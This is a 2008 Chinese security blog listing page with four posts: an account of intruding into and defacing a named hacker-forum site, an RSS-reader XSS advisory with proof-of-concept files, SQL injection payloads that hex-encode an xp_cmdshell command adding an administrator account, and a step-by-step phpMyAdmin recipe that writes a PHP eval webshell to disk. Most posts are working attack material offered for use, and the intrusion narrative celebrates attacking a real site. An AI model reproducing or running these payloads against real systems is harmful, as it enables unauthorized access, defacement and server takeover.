网络安全 - SelBoo's Blog 色萝卜

分页： 6/13

1 2 3 4 5 6 7 8 9 10

[ 显示模式：摘要 | 列表 ]

入侵华东黑客联盟装X的过程

[ 2008/10/10 13:41 | by selboo ]

文章作者：落叶纷飞[J.L.S.T] & 云中鹰[J.L.S.T]
信息来源：安全叶子技术小组[J.Leaves Security Team]（http://00day.cn）

有些朋友对我和云中鹰搞华东的过程比较感兴趣，其实那个很没技术含量

今天闲着无聊，把手上的项目葛一下，来论坛放松一下，顺便说说上次搞华东黑客联盟到装B的过程

这天云中鸡说华东的某人很牛X，利用JPG黑站大法把恶灵战队黑了，还发了个demo出来

我去看了一下demo，感觉很黑客，于是就和云中鸡搞了一下华东

首先，我记得华东只被人搞过一次（记性不好，原谅下~~），所以应该防护还是比较好的

服务器应该防ARP，不过这还只是猜测

云中鸡说先不搞C段，PZ一下再说

然后我就打开了www.3hack.com

一看，我晕，怎么网站变了................以前我比较喜欢到华东去看动画，现在怎么变成这鸟样了，晕..............

这时候云中鸡丢了一个同F的站过来，说进了后台搞不了shell

我看了下搞到了一个webshell出来（这里涉及点技巧，不过不是重点，故省略....），登上webshell后发现服务器的权限很BT

然后我就把shell丢给云中鸡去提权，过了一会儿找到了一个二级玉米的站shop.xiahack.cn

看着是用eshop来架设的网店，虽然不是同F，但还是想搞下他看有什么可利用的地方，用了几个0day去搞发现不是最新版，0day用不鸟

问了下云中鸡提权怎样了，他说还在努力，装不鸟B就不睡觉，晕了，这下入侵陷入了僵局...............

无聊到网上乱逛，这时无意中发现一个阿拉伯XXXXXX，具体就不说啥鸟，呵呵~~

然后阿拉伯黑客发现了www.3hack.com上有个xia的目录很可疑，于是我就去看看是什么

打开一看，

我靠~~这啥东西？这么帅？点进去一看，如图2所示。

太帅了，真YD！！

这个页面应该是一套个人主页程序，而且还挺炫的！

这个页面有发表日志的地方，应该可能存在登陆页面，找了一轮后发现当鼠标放到网页顶端的时候就会弹出登陆页面，如图3所示。

嘿嘿，试着'or'='or'居然进去了！！如图4所示。

经过半个多小时的摸索，还是没有发现可利用的地方。

这下郁闷了，不管了，把这套程序下载下来看看吧

找了一会才知道这套程序叫做“V时代个人flash主页”

到官方下了套最新版，然后找了一下可利用的地方，不一会，我发现“/html/admin”这个目录很可能可以利用

于是马上打开http://www.3hack.com/xia/html/admin

返回的确实找不到页面，郁闷了，输入http://www.3hack.com/xia/html/

同样是找不到页面，真晕！再看看！

5分钟过后，我发现后台地址是“/asp”，默认数据库是“/asp/vshidai.mdb”，嘿嘿！这下你不死定了！

马上打开http://www.3hack.com/xia/asp/vshidai.mdb，我晕！服务器居然设置了mdb后缀映射，下载不了！

打开http://www.3hack.com/xia/asp/，发现返回空白，这下我真是服了！

希望快覆灭了，这时我点到了根目录下的send.asp文件，看到里面存在着一个有意思的东西，代码如下：

var a
var b
var tx
var clean
a=Request("re")
clean=Request("clean")
var jian="test.txt"

if(clean==1){
tx="&a="
var fs2
var fs2=Server.CreateObject("Scripting.FileSystemObject")
var newdt=fs2.OpenTextFile(Server.MapPath(jian),2,true)
newdt.WriteLine("&a=")
newdt.close()
}

if(clean==0|clean==1){
tx=""
var fso = Server.Createobject("Scripting.FileSystemObject")
var file = fso.OpenTextFile(Server.Mappath(jian))
while (!file.AtEndOfStream){
tx=file.ReadLine()
Response.write (tx)
}
Response.write ("&")
file.close()
}

if(clean==2){
tx=""
var fso = Server.Createobject("Scripting.FileSystemObject")
var file = fso.OpenTextFile(Server.Mappath(jian))

var fs2
var fs2=Server.CreateObject("Scripting.FileSystemObject")
var newdt=fs2.OpenTextFile(Server.MapPath(jian),8,true)

while (!file.AtEndOfStream){
tx=file.ReadLine()
Response.write (tx)}

Response.write (a+"&")
newdt.WriteLine(a)

file.close()
newdt.close()
}

这下应该可以装B了！从代码看出，我们首先要提交“send.asp?clean=1”来创建一个名为test.txt的文件，文件里面写着“&a=&”

接下来我们提交“send.asp?clean=2&re=H4cked by 落叶纷飞 and 云中鹰....00day.cn全体飘过”

这样就能在test.txt文件里新建一行并写入“H4cked by 落叶纷飞 and 云中鹰....00day.cn全体飘过”这句话

过程如图5、6所示。

提交后我们打开www.3hack.com/xia/test.txt看看，如图7所示。

这下终于可以装到X了，如果不是V时代的作者写的send.asp代码存在问题，拿到shell是不难的

如果jian是经过request取值的话，同样也能搞到shell。

这次只是装到了X，并没有拿到shell

已经是凌晨了，跟云中J说了声就睡觉去鸟

估计那B可能搞到了权限，不过我没问他，最近事情比较多，也比较忙

就到这里吧，没技术含量，纯粹装X，高手们见笑了

另外劝告某些认为上传个JPG就能黑到站的大黑客，你这样自欺欺人吃亏的是你自己

自己学不到技术，却还在自欺欺人

不说了，本文到这里，最后感谢一下阿拉伯黑客，原来阿拉伯黑客也是很强大的，好了，猪大家愉快~~

Tags: 入侵 , 安全 , 黑客

网络安全 | 评论(0) | 引用(0)

多款RSS阅读器出现XSS漏洞

[ 2008/09/27 23:17 | by selboo ]

受影响系统：

调用以下内核解析RSS的RSS阅读器：

INTERNET EXPLORER ver<= IE7 （其他版本未经测试，估计也有）

OPERA ver <=9.52

以下阅读器出现漏洞：

新浪点点通1.1.0.8 目前最高

周博通4.0(28031409) 目前最高

遨游2.1.4.443（目前最高） RSS侧边栏

。。。不再一一列举。

不受影响系统：

GOOGLE的RSS reader，因为这个RSS阅读器没有调用IE的内核去解析，而是自己解析后输出为html。

描述：

IE和OPERA对RSS中下的标签内容，解析过程如下：

首先使用HTML编码对内容解密（例：‘<’解析为‘<’），之后执行其中HTML代码。

这种解析方式导致一些RSS阅读工具对此过滤不严，出现XSS漏洞。

<*来源：kxlzx （kxlzx@xiaotou.org） http://www.inbreak.net/ *>

测试方法：
在标签的内容中输入HTML编码后的JS代码，例如：
rss.xml代码

<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet href='kxlzx.xsl' type='text/xsl' ?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:fs="http://www.feedsky.com/namespace/feed" xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"
version="2.0">
<channel>
<update>Mon, 26 Oct 2008 10:36:52 +0800</update>
<title>hacked by kxlzx</title>
<description>hacked by kxlzx</description>
<item>
<title>hacked by kxlzx title</title>
<author xmlns="http://www.w3.org/2005/Atom">
<name>test all</name>
</author>
<id xmlns="http://www.w3.org/2005/Atom">http://www.inbreak.net/</id>
<description><script>alert('xss');</script></description>
<pubDate>Mon, 27 Oct 2008 09:34:54 +0800</pubDate>
</item>
</channel>
</rss>

kxlzx.xsl代码

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:output method="html" indent="yes" doctype-system="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" doctype-public="-//W3C//DTD XHTML 1.0 Transitional//EN"/>
<xsl:variable name="title" select="/rss/channel/title"/>
<xsl:variable name="feedUrl" select="/rss/channel/atom:link[@ref='self']/@href" xmlns:atom="http://www.w3.org/2005/Atom"/>
<xsl:variable name="srclink" select="/rss/channel/link"/>
<xsl:template match="/">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
</head>
<xsl:apply-templates select="rss/channel"/>
</html>
</xsl:template>
<xsl:template match="channel">
<body>

<div id="wrapper">
<div id="content">
<xsl:apply-templates select="image"/>
<h1><a href="{link}" style="color:#94B3C5;"><xsl:value-of select="$title"/></a></h1>

<p id="desc"><xsl:value-of select="description" disable-output-escaping="yes"/></p>

<ul id="item" class="item">
<xsl:apply-templates select="item"/>
</ul>
</div>
</div>

</body>
</xsl:template>
<xsl:template match="item">

<li>
<h2><a href="{link}"><xsl:value-of select="title"/></a></h2>
<span class="date"> <xsl:value-of select="pubDate"/></span>

<p name="decodeable" class="itemcontent"><xsl:call-template name="outputContent"/></p>

<xsl:if test="count(child::enclosure)=1">
<dd>
<a href="{enclosure/@url}">
<img src="http://www.feedsky.com/images/listen.gif" style="vertical-align: middle; padding-left: 4px;"/>
</a>
</dd>
</xsl:if>

</li>

</xsl:template>
<xsl:template match="image">
<xsl:element name="img" namespace="http://www.w3.org/1999/xhtml">
<xsl:attribute name="src"><xsl:value-of select="url"/></xsl:attribute>
<xsl:attribute name="alt">
Link to <xsl:value-of select="title"/></xsl:attribute>
<xsl:attribute name="id">feedimage</xsl:attribute>
</xsl:element>
<xsl:text> </xsl:text>
</xsl:template>
<xsl:template match="feedsky:browserFriendly" xmlns:feedsky="http://namespace.org/feedsky/ext/1.0">
<p id="ownerblurb" xmlns="http://www.w3.org/1999/xhtml">
<em>A message from the feed publisher:</em>
<xsl:text> </xsl:text>
<xsl:apply-templates/>
</p>
</xsl:template>
<xsl:template name="outputContent">
<xsl:choose>
<xsl:when test="xhtml:body" xmlns:xhtml="http://www.w3.org/1999/xhtml">
<xsl:copy-of select="xhtml:body/*"/>
</xsl:when>
<xsl:when test="xhtml:div" xmlns:xhtml="http://www.w3.org/1999/xhtml">
<xsl:copy-of select="xhtml:div"/>
</xsl:when>
<xsl:when test="content:encoded" xmlns:content="http://purl.org/rss/1.0/modules/content/">
<xsl:value-of select="content:encoded" disable-output-escaping="yes"/>
</xsl:when>
<xsl:when test="description">
<xsl:value-of select="description" disable-output-escaping="yes"/>
</xsl:when>
</xsl:choose>
</xsl:template>
</xsl:stylesheet>

演示地址：

http://www.inbreak.net/kxlzxtest/rss8.xml

使用RSS阅读器订阅此地址。

建议：

没啥建议，祈祷RSS阅读器厂商升级好了。

链接：http://www.inbreak.net/?action=show&id=132

Tags: 漏洞 , rss

网络安全 | 评论(0) | 引用(0)

SQL注入中绕过'(单引号)限制继续注入

[ 2008/09/24 23:46 | by selboo ]

来源：网络。

我想不少人都看过一些关于SQL Injection针对SQL Server攻击的文章，都是因为变量过滤不足甚至没有过滤而构造畸形SQL语句注入的，包括我写的那篇《SQL Injection的实现与应用》也是这样的例子，因为没有碰到任何的过滤，所以使我们相当轻松就注入成功了，如下：

http://www.ilikeplmm.com/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--

　　这往往给大家造成误解，认为只要变量过滤了'就可以防止SQL Injection攻击，这种意识为大量程序可以注入埋下祸根，其实仅仅过滤'是不够的，在'被过滤的情况下我们照样玩，看下面语句：

http://www.ilikeplmm.com/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--

　　是不是跟上面的那句有很大区别？可是效果完全是一样的。其实这些都是SQL语句。

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400

　　这句是“net user angel pass /add”的16进制格式。了解SQL的朋友就容易明白，先声明一个变量a，然后把我们的指令赋值给a，然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下：

declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a

解决办法：

　　过滤变量，限制只允许输入特定字符。比如对于数字类型的变量就限制只能输入数字类型的数据。具体就不说了。这完全是程序作者自由发挥了。

Tags: sql , 注入

网络安全 | 评论(0) | 引用(0)

phpMyAdmin 后台拿webshell

[ 2008/09/22 12:41 | by selboo ]

1.如何拿到登陆密码，自己想办法。

2.访问 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径.

3.选择一个Database.运行以下语句.

----start code---
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'F:/Program Files/Apache Group/Apache2/htdocs/phpMyAdmin/d.php/d.php';
Drop TABLE IF EXISTS a;
----end code---

4.如果没什么意外.对应网站得到webshell

您运行的 SQL 语句已经成功运行了。

SQL 查询:
CREATE TABLE a(
cmd text NOT NULL
);# MySQL 返回的查询结果为空(即零行)。
INSERT INTO a( cmd )
VALUES (
'<?php eval($_POST[1]);?>'
);# 影响列数： 1
SELECT cmd
FROM a
INTO OUTFILE 'F:/Program Files/Apache Group/Apache2/htdocs/phpMyAdmin/d.php';# 影响列数： 1
DROP TABLE IF EXISTS a;# MySQL 返回的查询结果为空(即零行)。

Tags: phpmyadmin , 后台 , webshell

网络安全 | 评论(0) | 引用(0)